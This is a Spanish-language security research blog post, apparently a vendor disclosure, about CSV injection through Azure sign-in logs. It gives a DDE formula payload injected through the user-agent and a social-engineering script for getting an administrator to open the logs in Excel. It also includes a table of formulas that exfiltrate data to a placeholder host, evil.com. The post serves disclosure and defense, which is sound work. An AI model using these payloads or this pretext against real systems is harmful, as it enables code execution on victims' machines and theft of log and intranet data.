Inyección CSV en Azure Logs

12 de diciembre de 2023
Dmitriy Beryoza
Senior Security Researcher
Inyección CSV en Azure Logs

Con la migración global a cloud, las empresas han tenido que replantearse cómo rastrear la actividad maliciosa en sus entornos. Algunos de los antiguos mecanismos de monitorización (como la captura de paquetes) ya no están disponibles, y los registros de eventos han adquirido un nuevo protagonismo. A menudo, son la única herramienta de la que se dispone para hacer un seguimiento de lo que ocurre en la infraestructura.

Los proveedores de Cloud han tenido problemas a la hora de implementar la funcionalidad de registro. Azure, en particular, se ha enfrentado a múltiples problemas de calidad de los registros. Los registros también representan un jugoso objetivo de reconocimiento para los atacantes que buscan mapear su entorno, y la información sensible puedefiltrarse allí.

Por graves que puedan ser estos problemas, son "pasivos": la exposición de la información es lo peor que puede ocurrir. Sin embargo, los registros pueden convertirse ocasionalmente en portadores de ataques contra la empresa. En este blog describiremos uno de ellos.

Inyección de registros e inyección de CSV

Una inyección de registro es un ataque en el que un adversario puede influir en el contenido de un registro añadiéndole una carga maliciosa especialmente diseñada. Esto ocurre porque las acciones de los usuarios suelen dar lugar a la adición de nuevos registros a los logs, y dichos registros suelen contener los datos sobre los que el usuario tiene control: ID de usuario, direcciones de correo electrónico, asuntos de los mensajes, etcétera. Cuando estos datos son maliciosamente manipulados, la aplicación que procesa los registros puede ser engañada para ejecutar un ataque. Por ejemplo, se podría enviar una dirección de correo electrónico falsa que contenga una carga útil XSSCross-Site Scripting) en un formulario de registro de cuenta. Y el administrador de la aplicación que abre este registro en un navegador puede convertirse en víctima de un ataque XSS.

Los registros en Azure pueden descargarse como archivos CSV (valores separados por comas), que son vulnerables a una técnica de inyección CSV. En este tipo de ataque, si un archivo CSV contiene una fórmula de Excel (que suele comenzar con un signo igual - '='), Excel la ejecuta al abrir el archivo. Algunas fórmulas pueden ser maliciosas, provocando la ejecución de comandos del sistema operativo u otros exploits. Puede ser peligroso no sólo porque se pueden ejecutar comandos arbitrarios, sino también porque los usuarios no suelen saberlo, pensando que los archivos CSV son sólo archivos de texto sin formato que no pueden causar ningún daño. 

Hemos encontrado una nueva instancia de Log Injection combinada con CSV Injection en Azure, que puede ser utilizada para atacar a los administradores de Azure. Tales vulnerabilidades han sidoreportadas en el pasado, pero esta instancia es más peligrosa porque puede ser ejecutadasin autenticación, es decir, no es necesario tener una cuenta en el entorno de cloud .

Escenario de ataque

El ataque consta de dos etapas:

  1. Contaminar los registros de Azure
  1. Hacer que un administrador abra los registros como un archivo CSV.

*Tenga en cuenta que el ataque no funcionará en una instancia de MS Excel totalmente actualizada (más sobre esto más adelante).

Contaminando los registros de Azure con un agente de usuario malicioso

Para contaminar los registros con un comando malicioso, no necesitas permisos especiales ni siquiera una cuenta en el sistema víctima. Sólo necesitas el nombre de usuario de un usuario existente.

Comenzamos enviando la carga útil de inyección como una cadena de agente de usuario:

  1. Inicia Microsoft Edge (cualquier navegador funcionará siempre que puedas manipular el agente de usuario como se detalla a continuación, al igual que cualquier proxy de ataque como Burp o ZAP).
  1. AbreHerramientas de desarrollo (Ctrl+Mayús+I), haz clic en el menú de la parte superior derecha y selecciona Ejecutar comando(Ctrl+Mayús+P):
Captura de pantalla de un ordenadorDescripción generada automáticamente

  1. Escribe"condiciones de la red" y pulsa Intro:
Captura de pantalla de un ordenadorDescripción generada automáticamente


  1. En el cajón que se abre, desmarca"Usar navegador por defecto" y pega la siguiente cadena en el campo inferior:


=msexcel|'\..\..\.\Windows\System32\cmd.exe /c calc.exe'!'A1'

Captura de pantalla de un ordenadorDescripción generada automáticamente




Esta fórmula Excel de ejemplo utilizará el protocolo de Intercambio Dinámico de Datos (DDE) para iniciar la calculadora. Una carga útil de la vida real será algo más destructivo (por ejemplo, un comando PowerShell que descarga la siguiente etapa de la infección).

  1. Sin cerrar el cajón, vaya ahttps://portal.azure.come introduzca el correo electrónico de cualquier cuenta existente en su sistema de destino.
  1. Cuando se le pida una contraseña, introduzca cualquier cadena(¡no es nuestro objetivo iniciar sesión con éxito!):

Captura de pantalla de una pantalla de inicio de sesiónDescripción generada automáticamente
Captura de pantalla de una página de accesoDescripción generada automáticamente

Conseguir que la víctima abra los registros

Los registros de inicio de sesión en el tenant Azure de destino contienen ahora el registro de registro envenenado (puede tardar unos minutos en entregarse realmente).

Ahora, puedes hacer ingeniería social con el administrador de destino para que abra los registros. Hay dos servicios en el portal donde se puede hacer esto: Log Analytics y Microsoft Entra ID. Describiremos el primero.

Cualquier usuario con acceso de lectura a Azure Log Analytics es suficiente, por lo que no es necesario que sea un administrador con privilegios de nivel superior. 

Existe una gran variedad de posibles pretextos. Por ejemplo, un"ingeniero de soporte técnico de Azure" puede ponerse en contacto con el administrador para solicitar ayuda para investigar"intentos de inicio de sesión sospechosos".

Los pasos son los siguientes:  

  1. Indique al objetivo que abraAzure Log Analyticsy cargue la tablaSigninLogsen la ventana de consulta (haga doble clic en ella). Haga clic en el botónEjecutarpara ejecutar la consulta predeterminada:

Captura de pantalla de un ordenadorDescripción generada automáticamente
  1. El registro se cargará, y una de las entradas contendrá nuestra carga útil:
Captura de pantalla de un ordenadorDescripción generada automáticamente
  1. Indique al objetivo que cargue el registro como archivo CSV en Excel para"facilitar el análisis":

Captura de pantalla de un ordenadorDescripción generada automáticamente
  1. Los registros se cargarán en Excel. Aparecerá un mensaje de advertencia, que el objetivo deberá ignorar:

Captura de pantalla de un mensaje de error informáticoDescripción generada automáticamente
  1. Aparecerá otro mensaje de advertencia, que el objetivo también debería ignorar. Observe que la aplicación de la que se queja es "MSEXCEL.EXE", que es menos sospechosa que algo como "CMD.EXE":  
Captura de pantalla de un ordenadorDescripción generada automáticamente
  1. Aparecerá la instancia Calculadora (tal y como pretendía nuestro payload):

Captura de pantalla de un ordenadorDescripción generada automáticamente


Puede ver el ataque en acción en este vídeo:

Demostración de la charla "Entre la espada y la pared: (des)aventuras en Azure Logs"

Protección DDE de Excel

Esta vulnerabilidad no se activa de forma inmediata en la última versión actualizada de MS Excel. Microsoft implementó mitigaciones para evitar que el servidor DDE se inicie desde las fórmulas de Excel de forma predeterminada. Para que el payload funcione correctamente, el objetivo tiene que estar utilizando una versión antigua de Excel o tener habilitado ellanzamiento del servidor DDEen la última versión de Excel (por ejemplo, al ser instruido por el atacante como parte de la etapa de ingeniería social).

Para desactivar esta protección en Excel, vaya aArchivo > Opciones > Centro de confianza > Configuración del Centro de confianza...> Contenido externo y marque Activarelinicio dinámicodelservidor de intercambio de datos: no recomendado.> Contenido externoy marqueActivar el inicio del servidor de intercambio dinámico de datos (no recomendado):

Captura de pantalla de un ordenadorDescripción generada automáticamente

Más allá del DDE

La restricción de las llamadas DDE puede parecer que deja a salvo a los usuarios, pero esa seguridad es engañosa. Se pueden inyectar otras fórmulas peligrosas que no requieren DDE. He aquí algunos ejemplos (la mayoría generará un mensaje de advertencia al abrir el archivo):

Fórmula Efecto
=HYPERLINK("https://evil.com/", "Haga clic para más detalles")
Crea un hipervínculo en el que el usuario puede hacer clic para ir a un sitio malicioso.
=IMAGE("https://evil.com/a.png")
Inserta una imagen en la hoja de cálculo y filtra la dirección IP del usuario al atacante (ésta y las siguientes fórmulas se ejecutan automáticamente al abrir el archivo).
=IMAGE("https://evil.com/a.png?"&INDIRECT("R[1]C",0))
Lo mismo, pero también filtra el contenido de otra celda del archivo de registro al atacante. Puede mejorarse para filtrar nombres de aplicaciones, direcciones IP, nombres de usuario, ID, geolocalización y otra información privada presente en el registro.
=IMAGE("https://evil.com/a.png?"&INFO("osversion")&":"&INFO("release")&":"&INFO("directory"))
Similar, pero filtra la versión del sistema operativo del usuario, la versión de Excel y el nombre de la carpeta actual.
=WEBSERVICE("https://evil.com/?"&INFO("osversion"))
Filtra la versión del SO del usuario a través de una llamada al servicio web; el valor devuelto se inserta en la hoja de cálculo.
=SERVICIO WEB("https://evil.com/?"&SERVICIO WEB("https://intranet-site/secret-service"))
Llama a un servicio de intranet (situado detrás del cortafuegos) y reenvía los datos resultantes al atacante.

Divulgación

Hemos comunicado responsablemente esta vulnerabilidad a Microsoft:

2022-09-13 - Reportado a MSRC
2022-09-21 - MSRC respondió: "...la vulnerabilidad existe realmente en la forma en que Microsoft Excel abre los archivos. También requiere hacer clic a través de una advertencia en Microsoft Excel. Podríamos considerar bloquear las cargas útiles de inyección CSV como precaución DND como solución en las próximas versiones."

Microsoft pareció no comprometerse a realizar cambios para evitar las cargas útiles de inyección CSV, y la vulnerabilidad sigue existiendo a día de hoy. 

Mitigación

Aunque Microsoft estaba en lo cierto al afirmar que las actualizaciones de seguridad de Excel evitan la activación de cargas útiles DDE, hay otros factores a tener en cuenta:

  • La víctima puede tener instalada una versión antigua y sin parches de Excel o ser víctima de ingeniería social para dejar caer las defensas. Más arriba hemos mostrado un escenario de este tipo.
  • Hay fórmulas no DDE en Excel que pueden ser peligrosas. Hemos descrito varios ejemplos de ello. Además, Microsoft está añadiendo nuevasfuncionalidades de Python a las fórmulas de Excel, y la invocación de código Python mediante inyección puede traer nuevas consecuencias inesperadas.  
  • Otras aplicaciones podrían abrir archivos CSV, posiblemente dando lugar a nuevos exploits. Por ejemplo, en Linux, LibreOffice es una popular suite ofimática que se utilizará para abrir archivos CSV. Ejecuta fórmulas de Excel y también es compatible con DDE.
  • Por último, es importante practicar la "defensa en profundidad". Sería coherente con esta práctica no sólo confiar en una corrección de Excel, sino también eliminar la posibilidad de inyección de fórmulas en origen en los CSV generados por Azure.

We believe that the right course of action is for Microsoft to sanitize values in CSV file cells that begin with "=" (and some others cells that start with "+", "-", "@", and some other characters can also be interpreted as formulas). The original values do not have to be removed (after all, they may be important to the defender). Prefixing them with some string that clarifies the intent (e.g. "<INSERTED TO MITIGATE POSSIBLE CSV INJECTION>") will be sufficient.

Hasta que eso ocurra, se recomienda a los usuarios de Azure que actualicen completamente todas las herramientas que utilizan para abrir archivos CSV y que eduquen a su personal informático sobre los peligros de las cargas útiles maliciosas en los registros de Azure y los ataques de ingeniería social que pueden intentar aprovecharse de ellas.

Converse con nosotros directamente sobre esta entrada de blog y otros temas en la comunidad Reddit de comunidad Reddit deVectra AI .

Preguntas frecuentes